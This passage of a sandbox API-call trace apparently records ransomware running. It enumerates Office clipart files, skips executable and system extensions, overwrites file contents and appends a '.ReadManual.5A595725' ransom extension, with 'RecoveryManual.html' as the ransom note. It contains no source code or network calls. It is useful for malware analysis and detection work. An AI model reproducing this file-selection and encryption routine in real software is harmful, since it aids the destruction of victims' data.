(lpFirst="AN04195_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.395] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.395] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.395] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.395] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.395] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.395] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.395] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.395] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.395] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.396] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.396] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.396] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.396] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.396] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.396] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" [0260.396] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.ReadManual.5A595725" [0260.396] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.ReadManual.5A595725") returned 87 [0260.396] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38106450884) returned 1 [0260.396] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0260.396] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.396] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4612) returned 1 [0260.396] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1204, lpName=0x0) returned 0x184 [0260.396] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.397] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.397] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.398] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.399] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1204) returned 0x2f0000 [0260.399] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.399] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38106765051) returned 1 [0260.399] CloseHandle (hObject=0x184) returned 1 [0260.399] SetSecurityInfo () returned 0x57 [0260.399] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.399] CloseHandle (hObject=0x194) returned 1 [0260.400] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0260.400] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04196_.WMF" | out: lpString1="AN04196_.WMF") returned="AN04196_.WMF" [0260.400] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.400] StrStrIW (lpFirst="AN04196_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.400] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.400] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.400] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" [0260.400] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.ReadManual.5A595725" [0260.400] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.ReadManual.5A595725") returned 87 [0260.400] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38106907870) returned 1 [0260.400] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0260.401] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.401] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3144) returned 1 [0260.401] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc48, lpName=0x0) returned 0x184 [0260.401] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.402] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.402] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.403] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.403] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc48) returned 0x2f0000 [0260.404] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.404] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38107241148) returned 1 [0260.404] CloseHandle (hObject=0x184) returned 1 [0260.404] SetSecurityInfo () returned 0x57 [0260.404] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.404] CloseHandle (hObject=0x194) returned 1 [0260.405] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0260.405] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04206_.WMF" | out: lpString1="AN04206_.WMF") returned="AN04206_.WMF" [0260.405] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.405] StrStrIW (lpFirst="AN04206_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.405] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.405] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.405] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" [0260.405] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.ReadManual.5A595725" [0260.405] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.ReadManual.5A595725") returned 87 [0260.405] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38107391357) returned 1 [0260.405] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0260.406] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.406] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7668) returned 1 [0260.406] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1df4, lpName=0x0) returned 0x184 [0260.406] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.407] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.407] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.408] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.408] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1df4) returned 0x2f0000 [0260.408] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.408] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38107727884) returned 1 [0260.409] CloseHandle (hObject=0x184) returned 1 [0260.409] SetSecurityInfo () returned 0x57 [0260.409] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.409] CloseHandle (hObject=0x194) returned 1 [0260.409] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0260.409] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04225_.WMF" | out: lpString1="AN04225_.WMF") returned="AN04225_.WMF" [0260.409] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.409] StrStrIW (lpFirst="AN04225_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.409] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.409] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.410] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.410] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" [0260.410] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.ReadManual.5A595725" [0260.410] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.ReadManual.5A595725") returned 87 [0260.410] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38107870921) returned 1 [0260.410] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0260.410] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.410] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8492) returned 1 [0260.410] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x212c, lpName=0x0) returned 0x184 [0260.410] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.411] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.411] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.412] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.413] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x212c) returned 0x2f0000 [0260.413] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.413] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38108166667) returned 1 [0260.413] CloseHandle (hObject=0x184) returned 1 [0260.413] SetSecurityInfo () returned 0x57 [0260.413] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.413] CloseHandle (hObject=0x194) returned 1 [0260.414] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0260.414] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04235_.WMF" | out: lpString1="AN04235_.WMF") returned="AN04235_.WMF" [0260.414] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.414] StrStrIW (lpFirst="AN04235_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.414] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.414] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.414] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" [0260.414] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.ReadManual.5A595725" [0260.414] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.ReadManual.5A595725") returned 87 [0260.414] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38108309970) returned 1 [0260.414] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0260.415] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.415] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7804) returned 1 [0260.415] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e7c, lpName=0x0) returned 0x184 [0260.415] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.415] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.415] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.417] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.417] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e7c) returned 0x2f0000 [0260.417] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.417] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38108619498) returned 1 [0260.417] CloseHandle (hObject=0x184) returned 1 [0260.418] SetSecurityInfo () returned 0x57 [0260.418] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.418] CloseHandle (hObject=0x194) returned 1 [0260.418] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0260.418] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04267_.WMF" | out: lpString1="AN04267_.WMF") returned="AN04267_.WMF" [0260.418] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.418] StrStrIW (lpFirst="AN04267_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.418] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.418] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.419] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.419] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" [0260.419] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft 